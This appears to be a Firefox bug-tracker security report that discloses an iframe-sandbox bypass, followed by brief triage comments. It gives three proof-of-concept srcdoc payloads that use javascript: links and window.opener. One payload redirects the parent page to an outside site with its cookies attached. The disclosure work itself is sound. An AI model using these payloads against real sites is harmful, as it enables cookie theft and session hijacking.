Security: iframe sandbox can be worked around via javascript: links and window.opener
Categories
(Core :: DOM: Security, task)
Tracking
()
People
(Reporter: phil, Unassigned)
References
Details
(Keywords: reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])
Attachments
(1 file)
|
1.71 KB,
text/html
|
Details |
Security: iframe sandbox can be worked around via javascript: links and window.opener
Firefox 69.0.3 (64-bit) on macOS 10.15
VULNERABILITY DETAILS
My understanding is that a web application should be able to use an iframe with the "sandbox" attribute to display untrusted content without fear of JavaScript running, hijacking the parent page or the user's cookies. In simple scenarios this works properly, however there are some exceptions (reproducible in code below) using target="_blank" links with "javascript:" href values, and window.opener that allow JavaScript from untrusted content to be run.
Please note that NONE of my examples use "allow-scripts" in the sandbox attribute - because my goal is that JavaScript does not run at all in the iframe.
If we display untrusted content like this, then there are some specific values of UNTRUSTED_CONTENT that effectively break JS out of the sandbox when doing: <iframe sandbox="allow-popups allow-popups-to-escape-sandbox" srcdoc="UNTRUSTED_CONTENT"></iframe>
Attaching a .html file that you can run (from an http webserver on a hostname) with the examples below.
CASE 1: Run JavaScript in sandboxed iframe context without "allow-scripts"
<iframe sandbox="allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target="_blank" href="javascript:window.opener.eval('alert(location.href)')">click me</a>"></iframe>
Result: Clicking the link inside the iframe results in an alert popping up on the original page with a message "about:srcdoc", showing that JS is actually executed inside the iframe rather than just in the blank popup.
Case 2: Run JavaScript in parent page context without "allow-scripts", even accessing parent's cookies
The problem described in Case 1 actually gets MUCH worse if you have allow-same-origin in the sandbox attribute:
<iframe sandbox="allow-same-origin allow-modals allow-popups allow-popups-to-escape-sandbox" srcdoc="<a target="_blank" href="javascript:window.opener.parent.eval('alert(location.href+'; '+document.cookie);')">click me</a>"></iframe>
Result: Clicking the link in the iframe results in JavaScript access to the cookies of the parent page.
All indication of the "sandbox" attribute is that it should prevent JavaScript from running within the context of our page, since we didn't have "allow-scripts".
(Note a use case for having "allow-same-origin" here is wanting the parent page to be able to access the iframe's document and its offsetHeight to be able to resize the height of the iframe to match the iframe's contents. This allows a more seamless experience of embedding untrusted content into a web app without introducing another vertical scroll bar.)
Case 3: Bypassing both "allow-top-navigation" and "allow-scripts" in sandboxed iframe
Building on this, here's an example of how a link in a sandboxed iframe can actually escape and change the parent/top-level page's navigation and even pass the user's cookies onto an attacker's website, despite neither "allow-top-navigation" nor "allow-scripts" being in the sandbox whitelist of values.
<iframe sandbox="allow-same-origin allow-popups allow-popups-to-escape-sandbox" srcdoc="
Rendering untrusted HTML here...<br>
<a target="_blank" href="https://www.whatismybrowser.com/detect/is-javascript-enabled">load external site in popup, with javascript (desired)</a><br>
<a target="_blank" href="javascript:window.opener.parent.eval('window.location%3D%22https%3A//example.com/%3Fc%3D%22+encodeURIComponent%28document.cookie%29')">hacker site can steal iframe's parent's cookies</a>
"></iframe>
Run this from a hostname that has cookies set. After clicking the second link, come back and notice how this parent page has redirected to steal cookies.
And a similar example could also be used in a phishing attempt even on a logged-out page where the user's cookies didn't matter. It's just like any other tab-nabbing attack when "noopener" is missing, except this time the target=_blank link is part of what is already expected to be untrusted content, and "sandbox" isn't doing its job.
OTHER BROWSERS
Safari does not have any of the problems described here. Safari properly blocks all cases with a console message "Blocked script execution in 'about:srcdoc' because the document's frame is sandboxed and the 'allow-scripts' permission is not set." which is exactly how I'd expect it to work.
Chromium currently has the same issue (bug opened https://bugs.chromium.org/p/chromium/issues/detail?id=1014371 and currently tagged as a P1 Med-dev Security Bug). Chromium, however, supports the "csp" iframe attribute which allows you to do <iframe csp="script-src 'none'" sandbox="..." srcdoc="..."> which is an effective workaround for this bug.
Therefore Firefox is actually more vulnerable to this type of attack than both Safari and Chrome.
Thanks,
Phil Freo
Comment 1•6 years ago
|
||
Christoph/Sebastian, can you take a look and/or do you know if we've got something on file for this already? I thought so, but can't quickly find anything. Might need coordinating with Chrome if fixing this requires breaking things that people "expect" from allow-popups/allow-popups-to-escape-sandbox...
Updated•6 years ago
|
Comment 2•6 years ago
|
||
Dan is looking into it, hence clearing ni? for basti.
Updated•6 years ago
|
Updated•6 years ago
|
Updated•2 years ago
|
Description
•